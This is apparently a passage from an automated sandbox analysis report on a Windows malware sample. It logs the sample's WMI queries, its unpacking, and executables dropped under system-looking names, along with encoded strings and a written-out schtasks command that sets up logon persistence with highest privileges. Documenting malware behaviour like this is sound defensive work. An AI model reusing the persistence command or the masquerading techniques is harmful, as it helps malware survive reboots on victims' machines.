Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

File created: C:\Users\user\AppData\Local\Temp\fl.exe

Jump to behavior

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D57898 GetDiskFreeSpaceA,

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\services32.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\services32.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: sihost32.exe.19.dr, RProgram.cs

Base64 encoded string: 'iDsqXVUUrrozp0AbL5BTYPR0iDjq4KiGuHePXVFV9K28rswXmN2nC/etL9RtgP7f10Sam46UV/ANfEGz0DEX3Q==', 'O6wcZ1WK2FacMltLzc/OJmWkxClrD4jYMZIIjUaEV6j1bkkpDgDOof2hV459e7QI6DlvreVmdACxGZ1KA3l6T+k6y3MD7GM8B2ap2UMiePPSG0R9WMQ3D1cNzFatl9NODyrYc3At05u5rX93CYYN5cbA/odPkzi1LCKpexxFAZiGpB4ninzv7IYKdGvPpv220+VWKUt8D4PmwE6EH9SjuBz5y0H5d/2DAfnlhHf0skNO5gKiUd5ilpMD0Pv2RuNY9RTqbdKArk9xodHYZYF6PNM5bUqRAsG5TA1az/iVMXWdoXUSn90IngzFMSWEwXNn4/aFyZyTxVQJgJ5LA2ONnNAPPh/yCx+xTtlT3zTt7Ho='

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4804:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6664:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5696:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6856:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4788:120:WilError_01

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: YfTokH7RIj.exe

Static file information: File size 1666048 > 1048576

Source: YfTokH7RIj.exe

Static PE information: Raw size of is bigger than: 0x100000 < 0x13fc00

Source:

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Unpacked PE file: 0.2.YfTokH7RIj.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Unpacked PE file: 0.2.YfTokH7RIj.exe.400000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:EW;Unknown_Section6:EW;.R03nlBA:EW;.adata:EW; vs Unknown_Section0:ER;Unknown_Section1:EW;Unknown_Section2:EW;

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5C310 push 00D5C37Fh; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6E0C8 push 00D6E0F4h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D800A8 push 00D800E0h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D7E0A0 push 00D7E0CCh; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D66028 push 00D66054h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5C1D0 push 00D5C30Dh; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D751CC push 00D751F8h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5D1FC push 00D5D228h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D75194 push 00D751C0h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6D1B4 push 00D6D1ECh; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D851B0 push 00D851F2h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D67150 push 00D6717Ch; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D7D158 push 00D7D1A4h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D75148 push 00D75180h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6E2D8 push 00D6E304h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D72290 push esi; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D8D2BC push 00D8D2E8h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D8526C push 00D85298h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D75204 push 00D75230h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D7523C push 00D75268h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D85234 push 00D85260h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5C3C8 push 00D5C3F4h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5C390 push 00D5C3BCh; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D8538C push 00D853B8h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D5F344 push 00D5F3A1h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D8731C push 00D87348h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D664F8 push 00D66530h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D71490 push 00D714BCh; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6E49C push 00D6E4C8h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6648C push 00D664B8h; ret
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D85414 push 00D85440h; ret

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D6E100 GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,

Source: YfTokH7RIj.exe

Static PE information: 0xF66396F6 [Wed Dec 29 00:04:06 2100 UTC]

Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name: .R03nlBA
Source: YfTokH7RIj.exe	Static PE information: section name: .adata
Source: fl.exe.0.dr	Static PE information: section name: .vmp0
Source: fl.exe.0.dr	Static PE information: section name: .vmp1
Source: services32.exe.7.dr	Static PE information: section name: .vmp0
Source: services32.exe.7.dr	Static PE information: section name: .vmp1

Source: sihost32.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x4510
Source: fl.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x42ae2d
Source: YfTokH7RIj.exe	Static PE information: real checksum: 0x3c6678 should be: 0x1994fe
Source: services32.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x42ae2d

Source: initial sample	Static PE information: section name: entropy: 7.99537276593
Source: initial sample	Static PE information: section name: entropy: 7.7906284189
Source: initial sample	Static PE information: section name: entropy: 7.92840934453
Source: initial sample	Static PE information: section name: entropy: 7.52976471799
Source: initial sample	Static PE information: section name: .R03nlBA entropy: 7.9184571052

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Windows\System32\services32.exe	Executable created and started: C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\system32\services32.exe

Source: C:\Windows\System32\services32.exe	File created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File created: C:\Users\user\AppData\Local\Temp\fl.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\fl.exe	File created: C:\Windows\System32\services32.exe	Jump to dropped file

Source: C:\Windows\System32\services32.exe	File created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\fl.exe	File created: C:\Windows\System32\services32.exe			Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"

Source: C:\Windows\System32\services32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process information set: NOOPENFILEERRORBOX
